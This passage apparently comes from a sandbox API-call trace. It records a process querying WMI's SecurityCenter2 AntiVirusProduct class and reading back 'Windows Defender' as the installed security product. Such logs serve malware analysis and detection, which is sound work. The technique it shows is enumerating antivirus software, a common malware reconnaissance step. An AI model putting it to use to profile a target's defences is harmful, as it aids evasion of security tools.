WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb810 | out: ppvObject=0x1b0bb810*=0x0) returned 0x80004002 [0157.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb800 | out: ppvObject=0x1b0bb800*=0x1b352448) returned 0x0 [0157.636] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352448, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb828 | out: pCid=0x1b0bb828*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.636] WbemLocator:IUnknown:Release (This=0x1b352448) returned 0x3 [0157.636] CoGetContextToken (in: pToken=0x1b0bb8b0 | out: pToken=0x1b0bb8b0) returned 0x0 [0157.636] CoGetContextToken (in: pToken=0x1b0bbd30 | out: pToken=0x1b0bbd30) returned 0x0 [0157.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbdf0 | out: ppvObject=0x1b0bbdf0*=0x1b352530) returned 0x0 [0157.636] WbemLocator:IRpcOptions:Query (in: This=0x1b352530, pPrx=0x1b352568, dwProperty=2, pdwValue=0x1b0bbde0 | out: pdwValue=0x1b0bbde0) returned 0x80004002 [0157.636] WbemLocator:IUnknown:Release (This=0x1b352530) returned 0x3 [0157.637] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x2 [0157.637] CoGetContextToken (in: pToken=0x1b0bc3f0 | out: pToken=0x1b0bc3f0) returned 0x0 [0157.637] CoGetContextToken (in: pToken=0x1b0bc2f0 | out: pToken=0x1b0bc2f0) returned 0x0 [0157.637] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x1b0bc450*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc420 | out: ppvObject=0x1b0bc420*=0x1b34c270) returned 0x0 [0157.637] IUnknown:AddRef (This=0x1b34c270) returned 0x4 [0157.637] IUnknown:Release (This=0x1b34c270) returned 0x3 [0157.637] IUnknown:Release (This=0x1b34c270) returned 0x2 [0157.637] IUnknown:Release (This=0x1b315e50) returned 0x2 [0157.637] SysStringLen (param_1=0x0) returned 0x0 [0157.637] IEnumWbemClassObject:Reset (This=0x1b34c270) returned 0x0 [0157.638] CoTaskMemAlloc (cb=0x8) returned 0x1b32ae00 [0157.638] IEnumWbemClassObject:Next (in: This=0x1b34c270, lTimeout=-1, uCount=0x1, apObjects=0x1b32ae00, puReturned=0x2be3358 | out: apObjects=0x1b32ae00*=0x1b34a5e0, puReturned=0x2be3358*=0x1) returned 0x0 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbce0 | out: ppvObject=0x1b0bbce0*=0x1b34a5e0) returned 0x0 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbd70 | out: ppvObject=0x1b0bbd70*=0x0) returned 0x80004002 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb990 | out: ppvObject=0x1b0bb990*=0x0) returned 0x80004002 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb568 | out: ppvObject=0x1b0bb568*=0x0) returned 0x80004002 [0157.639] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb428 | out: ppvObject=0x1b0bb428*=0x0) returned 0x80004002 [0157.639] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb3b0 | out: ppvObject=0x1b0bb3b0*=0x0) returned 0x80004002 [0157.640] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb3a0 | out: ppvObject=0x1b0bb3a0*=0x1b34a5e8) returned 0x0 [0157.640] IMarshal:GetUnmarshalClass (in: This=0x1b34a5e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb3c8 | out: pCid=0x1b0bb3c8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.640] IUnknown:Release (This=0x1b34a5e8) returned 0x3 [0157.640] CoGetContextToken (in: pToken=0x1b0bb450 | out: pToken=0x1b0bb450) returned 0x0 [0157.640] CoGetContextToken (in: pToken=0x1b0bb8d0 | out: pToken=0x1b0bb8d0) returned 0x0 [0157.640] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb990 | out: ppvObject=0x1b0bb990*=0x0) returned 0x80004002 [0157.640] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0157.640] CoGetContextToken (in: pToken=0x1b0bbf90 | out: pToken=0x1b0bbf90) returned 0x0 [0157.640] CoGetContextToken (in: pToken=0x1b0bbe90 | out: pToken=0x1b0bbe90) returned 0x0 [0157.640] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x1b0bbff0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bbfc0 | out: ppvObject=0x1b0bbfc0*=0x1b34a5e0) returned 0x0 [0157.640] IUnknown:AddRef (This=0x1b34a5e0) returned 0x4 [0157.640] IUnknown:Release (This=0x1b34a5e0) returned 0x3 [0157.640] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0157.640] CoTaskMemFree (pv=0x1b32ae00) [0157.640] CoGetContextToken (in: pToken=0x1b0bc360 | out: pToken=0x1b0bc360) returned 0x0 [0157.640] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0157.640] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__GENUS", lFlags=0, pVal=0x1b0bc920*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bca48*=0, plFlavor=0x1b0bca40*=0 | out: pVal=0x1b0bc920*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bca48*=3, plFlavor=0x1b0bca40*=64) returned 0x0 [0157.641] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="__PATH", lFlags=0, pVal=0x1b0bc8d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bca00*=0, plFlavor=0x1b0bc9f8*=0 | out: pVal=0x1b0bc8d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"", varVal2=0x0), pType=0x1b0bca00*=8, plFlavor=0x1b0bc9f8*=64) returned 0x0 [0157.641] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0xc8 [0157.641] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0xc8 [0157.641] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc948 | out: ppv=0x1b0bc948*=0x4b0108) returned 0x0 [0157.641] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc938 | out: pAptType=0x1b0bc938*=1) returned 0x0 [0157.641] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc940 | out: ppvObject=0x1b0bc940*=0x0) returned 0x80004002 [0157.641] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.642] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbd38 | out: ppv=0x1b0bbd38*=0x1b320cc0) returned 0x0 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b320cc0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbe20 | out: ppvObject=0x1b0bbe20*=0x0) returned 0x80004002 [0157.642] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b320cc0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbdf8 | out: ppvObject=0x1b0bbdf8*=0x4f3dc0) returned 0x0 [0157.642] WbemDefPath:IUnknown:Release (This=0x1b320cc0) returned 0x0 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbba0 | out: ppvObject=0x1b0bbba0*=0x4f3dc0) returned 0x0 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbc30 | out: ppvObject=0x1b0bbc30*=0x0) returned 0x80004002 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb428 | out: ppvObject=0x1b0bb428*=0x0) returned 0x80004002 [0157.642] WbemDefPath:IUnknown:AddRef (This=0x4f3dc0) returned 0x3 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb2e8 | out: ppvObject=0x1b0bb2e8*=0x0) returned 0x80004002 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb270 | out: ppvObject=0x1b0bb270*=0x0) returned 0x80004002 [0157.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb260 | out: ppvObject=0x1b0bb260*=0x1b320de0) returned 0x0 [0157.643] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b320de0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb288 | out: pCid=0x1b0bb288*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.643] WbemDefPath:IUnknown:Release (This=0x1b320de0) returned 0x3 [0157.643] CoGetContextToken (in: pToken=0x1b0bb310 | out: pToken=0x1b0bb310) returned 0x0 [0157.643] CoGetContextToken (in: pToken=0x1b0bb790 | out: pToken=0x1b0bb790) returned 0x0 [0157.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb850 | out: ppvObject=0x1b0bb850*=0x0) returned 0x80004002 [0157.643] WbemDefPath:IUnknown:Release (This=0x4f3dc0) returned 0x2 [0157.643] WbemDefPath:IUnknown:Release (This=0x4f3dc0) returned 0x1 [0157.643] CoGetContextToken (in: pToken=0x1b0bc580 | out: pToken=0x1b0bc580) returned 0x0 [0157.643] CoGetContextToken (in: pToken=0x1b0bc480 | out: pToken=0x1b0bc480) returned 0x0 [0157.643] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3dc0, riid=0x1b0bc5e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc5b0 | out: ppvObject=0x1b0bc5b0*=0x4f3dc0) returned 0x0 [0157.643] WbemDefPath:IUnknown:AddRef (This=0x4f3dc0) returned 0x3 [0157.643] WbemDefPath:IUnknown:Release (This=0x4f3dc0) returned 0x2 [0157.643] WbemDefPath:IWbemPath:SetText (This=0x4f3dc0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0x0 [0157.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bc968 | out: puCount=0x1b0bc968*=0x2) returned 0x0 [0157.644] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bc960*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc960*=0x19, pszText=0x0) returned 0x0 [0157.644] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bc960*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bc960*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.644] CoGetContextToken (in: pToken=0x1b0bc730 | out: pToken=0x1b0bc730) returned 0x0 [0157.644] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x1 [0157.644] IUnknown:Release (This=0x1b34c270) returned 0x0 [0157.646] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bca18 | out: puCount=0x1b0bca18*=0x2) returned 0x0 [0157.646] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca10*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca10*=0x19, pszText=0x0) returned 0x0 [0157.646] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca10*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca10*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.646] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="displayName", lFlags=0, pVal=0x1b0bc9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be4058*=0, plFlavor=0x2be405c*=0 | out: pVal=0x1b0bc9d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2be4058*=8, plFlavor=0x2be405c*=0) returned 0x0 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="displayName", lFlags=0, pVal=0x1b0bca20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be4058*=8, plFlavor=0x2be405c*=0 | out: pVal=0x1b0bca20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2be4058*=8, plFlavor=0x2be405c*=0) returned 0x0 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2c80, puCount=0x1b0bca18 | out: puCount=0x1b0bca18*=0x2) returned 0x0 [0157.647] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca10*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca10*=0x19, pszText=0x0) returned 0x0 [0157.647] WbemDefPath:IWbemPath:GetText (in: This=0x4f2c80, lFlags=4, puBuffLength=0x1b0bca10*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca10*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.647] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="displayName", lFlags=0, pVal=0x1b0bc9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be4168*=0, plFlavor=0x2be416c*=0 | out: pVal=0x1b0bc9d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2be4168*=8, plFlavor=0x2be416c*=0) returned 0x0 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="displayName", lFlags=0, pVal=0x1b0bca20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2be4168*=8, plFlavor=0x2be416c*=0 | out: pVal=0x1b0bca20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2be4168*=8, plFlavor=0x2be416c*=0) returned 0x0 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.647] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0157.648] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bca58 | out: ppv=0x1b0bca58*=0x4b0108) returned 0x0 [0157.648] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bca48 | out: pAptType=0x1b0bca48*=1) returned 0x0 [0157.648] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bca50 | out: ppvObject=0x1b0bca50*=0x0) returned 0x80004002 [0157.648] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.649] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbe48 | out: ppv=0x1b0bbe48*=0x1b320ce0) returned 0x0 [0157.649] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b320ce0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x0) returned 0x80004002 [0157.649] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b320ce0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf08 | out: ppvObject=0x1b0bbf08*=0x4f2e00) returned 0x0 [0157.649] WbemDefPath:IUnknown:Release (This=0x1b320ce0) returned 0x0 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbcb0 | out: ppvObject=0x1b0bbcb0*=0x4f2e00) returned 0x0 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbd40 | out: ppvObject=0x1b0bbd40*=0x0) returned 0x80004002 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb538 | out: ppvObject=0x1b0bb538*=0x0) returned 0x80004002 [0157.650] WbemDefPath:IUnknown:AddRef (This=0x4f2e00) returned 0x3 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb3f8 | out: ppvObject=0x1b0bb3f8*=0x0) returned 0x80004002 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb380 | out: ppvObject=0x1b0bb380*=0x0) returned 0x80004002 [0157.650] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb370 | out: ppvObject=0x1b0bb370*=0x1b321100) returned 0x0 [0157.650] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b321100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb398 | out: pCid=0x1b0bb398*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.650] WbemDefPath:IUnknown:Release (This=0x1b321100) returned 0x3 [0157.650] CoGetContextToken (in: pToken=0x1b0bb420 | out: pToken=0x1b0bb420) returned 0x0 [0157.651] CoGetContextToken (in: pToken=0x1b0bb8a0 | out: pToken=0x1b0bb8a0) returned 0x0 [0157.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb960 | out: ppvObject=0x1b0bb960*=0x0) returned 0x80004002 [0157.651] WbemDefPath:IUnknown:Release (This=0x4f2e00) returned 0x2 [0157.651] WbemDefPath:IUnknown:Release (This=0x4f2e00) returned 0x1 [0157.651] 